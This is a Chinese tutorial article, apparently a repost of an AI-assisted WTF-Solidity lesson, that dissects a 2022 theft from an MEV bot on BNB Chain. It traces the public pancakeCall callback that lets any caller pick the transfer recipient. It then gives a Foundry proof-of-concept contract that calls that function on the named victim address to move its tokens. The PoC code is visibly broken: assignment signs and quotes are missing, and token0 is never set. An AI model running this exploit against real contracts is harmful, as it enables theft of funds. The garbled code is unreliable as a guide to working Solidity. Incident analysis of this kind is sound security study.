ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

WTF-Solidity 链上调试实战:手把手撰写 MEV Bot(BNB48)漏洞利用 PoC

WTF-Solidity 链上调试实战:手把手撰写 MEV Bot(BNB48)漏洞利用 PoC WTF-Solidity 链上调试实战手把手撰写 MEV BotBNB48漏洞利用 PoC【免费下载链接】WTF-SolidityWTF Solidity 极简入门教程供小白们使用。Now supports English! 官网: https://wtf.academy项目地址: https://gitcode.com/GitHub_Trending/wt/WTF-Solidity本篇技术指南是 WTF-Solidity 仓库 链上交易调试系列 的第 4 课以 2022 年 9 月 13 日发生在 BNB 链上的一起 MEV Bot 被盗事件总损失约 14 万美元为完整案例演示从链上交易分析 → 反编译未开源合约 → 定位漏洞 → 编写 PoC 复现攻击的全流程。读完本文你将掌握使用 Phalcon 阅读交易金流与函数调用栈、使用 Dedaub 反编译未开源合约、识别闪电贷回调类漏洞以及基于 Foundry 编写可复现攻击交易的 PoC 测试合约的完整方法。事件回顾一场通过私有交易实施的 MEV Bot 洗劫时间与损失2022-09-13一个 MEV Bot 合约被攻击者发现漏洞合约上的全部资产被转移一空总损失约$140K。攻击方式的关键细节攻击者通过BNB48 验证节点发送了私有交易其原理与 Flashbots 类似——交易不进入公开 mempool因此不会被其他机器人抢跑front-run。这也意味着常规的 mempool 监控手段根本无法提前发现这笔攻击只有事后进行链上回放才能完整还原攻击过程。关于抢跑攻击Front-running与 MEV 的背景知识可以对照仓库内的 S11_Frontrun 主题继续深入。攻击分析从一笔 TXID 到漏洞根因第一步用 Phalcon 查看金流与函数调用攻击交易的 TXID 为0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2打开 Phalcon交易查看器对该交易进行分析有两个关键发现金流Funds Flow部分这笔交易将 MEV Bot 合约上的6 种资产转移到了攻击者的钱包函数调用Function Call部分交易中恰好调用了6 次pancakeCall函数——与 6 种资产一一对应说明每次pancakeCall回调对应转走一种资产。交易中涉及的三个关键地址角色地址调用方From0xee286554f8b315f0560a15b6f085ddad616d0601攻击者合约0x5cb11ce550a2e6c24ebfc8df86c5757b596e69c1MEV Bot 合约受害者0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d展开其中一个pancakeCall调用栈观察回调到攻击者合约后先读取了token0()的值为BSC-USD紧接着执行transfer将 BSC-USD 转账到攻击者钱包。由此可以推断攻击者要么持有某种权限要么利用漏洞把 MEV Bot 合约上的资产搬走了——下一步就是找出攻击者到底怎么利用的。第二步反编译未开源合约前面提到 MEV Bot 合约未开源UnverifiedBscscan 上无法直接阅读源码。此时可以借助本系列 第 1 课工具 中介绍的反编译工具Dedaub从 Bscscan 的合约页面复制该 MEV Bot 合约的bytecode将 bytecode 粘贴到 Dedaub 的 decompile 页面并执行反编译。反编译结果中可以看到以下关键事实pancakeCall函数的可见性被设置为public即任何人都可以调用。对于闪电贷回调来说公开调用本身是正常设计通常不会有问题但注意反编译代码中红色框标注的位置pancakeCall内部执行了一个0x10a函数需要继续往下追踪。第三步定位0x10a函数的漏洞点0x10a函数的反编译逻辑如下图所示核心在红色框处先读取调用者攻击者合约上的token0是什么代币把该代币地址带入转账函数transfer执行转账而transfer的第一个参数接收者地址address(MEM[varg0.data])来源于pancakeCall的varg3即_data——该参数完全由调用者控制。关键漏洞就在这里接收者地址完全由调用者的_data决定且pancakeCall是 public 无鉴权。因此任何人在不持有任何权限的情况下只要调用pancakeCall并传入精心构造的_data就能让 MEV Bot 以token0指定的代币向任意地址转账。再回头查看攻击者调用pancakeCall时的 payload_data中带入的前 32 字节就是收款方的钱包地址。也就是说攻击者通过 6 次pancakeCall调用、每次把token0指向一种目标代币、_data前 32 字节指向自己的钱包就完成了对 MEV Bot 合约上 6 种资产的洗劫。撰写 POC复现攻击逻辑通过上面的分析撰写 POC 的合约逻辑已经非常清晰调用 MEV Bot 合约的pancakeCall并带入对应参数关键点 1_data的前 32 字节指定收款钱包地址关键点 2攻击合约本身需要提供token0、token1函数以满足 MEV Bot 合约0x10a逻辑的读取要求它会读取调用者的token0()来决定转出哪种代币。下面是一份符合上述攻击逻辑的参考 POC 代码骨架教学示例用于演示复现思路读者可结合自身环境填充具体代币地址后验证// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.17; import forge-std/Test.sol; // 目标 MEV Bot 合约BSC 链 address constant MEV_BOT 0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d; interface IERC20 { function balanceOf(address account) external view returns (uint256); } contract MEVBotExploit is Test { // 满足 MEV Bot 0x10a 逻辑读取调用者的 token0()决定转出哪种代币 // 在真实攻击中token0 被设置为要转走的代币地址本例为 BSC-USD address public token0; // 例如BSC-USD 在 BSC 链上的实际合约地址 address public token1; function testExploit() public { // 记录攻击前 MEV Bot 合约的 token0 代币余额 emit log_named_uint( MEV bot token0 balance, IERC20(token0).balanceOf(MEV_BOT) ); // 构造 _data前 32 字节 收款地址 bytes memory data abi.encode(address(this)); // 直接调用 MEV Bot 的 pancakeCallpublic无权限限制 (bool ok, ) MEV_BOT.call( abi.encodeWithSignature( pancakeCall(address,uint256,uint256,bytes), address(this), 0, 0, data ) ); require(ok, pancakeCall failed); // 验证攻击后收款地址上的代币余额 emit log_named_uint( Stolen token balance, IERC20(token0).balanceOf(address(this)) ); } }要点说明token0/token1以状态变量的形式暴露MEV Bot 的0x10a逻辑会通过调用读取它们将token0指向目标代币本例中为 BSC-USD以其在 BSC 链上的实际部署地址为准即可让 MEV Bot 代为执行该代币的transferpancakeCall为 public无需任何授权调用条件完全满足由于复现对象是 BSC 链上的历史交易建议使用 Foundry 在攻击发生前的区块高度 fork BSC 主网进行回放测试例如借助cheat.roll固定区块高度以确保受害合约在攻击前尚未被修改的状态。可参考本系列 第 3 课手写 PoC价格预言机操纵案例 中forge test fork 的完整代码范式。延伸学习用 Foundry 回放与调试交易除了自己编写 PoCFoundry 还提供了直接回放历史交易的能力可以辅助验证分析结论。Foundry trace列出交易的函数调用轨迹使用cast run可以直接列出该笔交易的 function traces函数调用轨迹cast run 0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2 --quick --rpc-url https://rpc.ankr.com/bscFoundry debug交互式调试交易同样使用cast run加上--debug参数可以进入交互式调试模式逐步检查每步调用的状态变化cast run 0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2 --quick --debug --rpc-url https://rpc.ankr.com/bsc注意以上命令需要--rpc-url指向能访问 BSC 链的 RPC 节点cast run的更多用法如输出中查看 gas 消耗、方法调用顺序与事件日志可参考仓库内的 Foundry 教程Topics/Tools/TOOL07_Foundry。本系列上下文与其他仓库资源本文是链上交易调试系列的第 4 课前置课程依次为第 1 课工具Phalcon / Ethtx / Tenderly / 签名库 / 反编译工具第 2 课热身Etherscan Phalcon 入门、Foundry cheatcode第 3 课手写 PoCEGD Finance 预言机价格操纵案例与本案例密切相关的仓库内配套材料还包括闪电贷与回调机制57_Flashloan 收录了 Aave V3、Uniswap V2 / V3 闪贷的完整源码与 Foundry 测试可对照理解pancakeCall这类借贷协议回调的设计范式抢跑与 MEV 背景S11_Frontrun 讲解了 MEV 抢跑的基本原理与实战示例有助于理解攻击者为何要通过私有交易绕过 mempool。学习资源原文档推荐了关于 Flashbots 与 MEV 市场的系列延伸阅读Flashbots: Kings of The Mempool、MEV Markets 三部曲等。这些内容可在本仓库的 S11_Frontrun、57_Flashloan 以及链上调试系列各课中结合实例继续深入通过反复阅读交易 → 复现攻击的练习逐步建立对链上安全分析的全链路手感。【免费下载链接】WTF-SolidityWTF Solidity 极简入门教程供小白们使用。Now supports English! 官网: https://wtf.academy项目地址: https://gitcode.com/GitHub_Trending/wt/WTF-Solidity创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表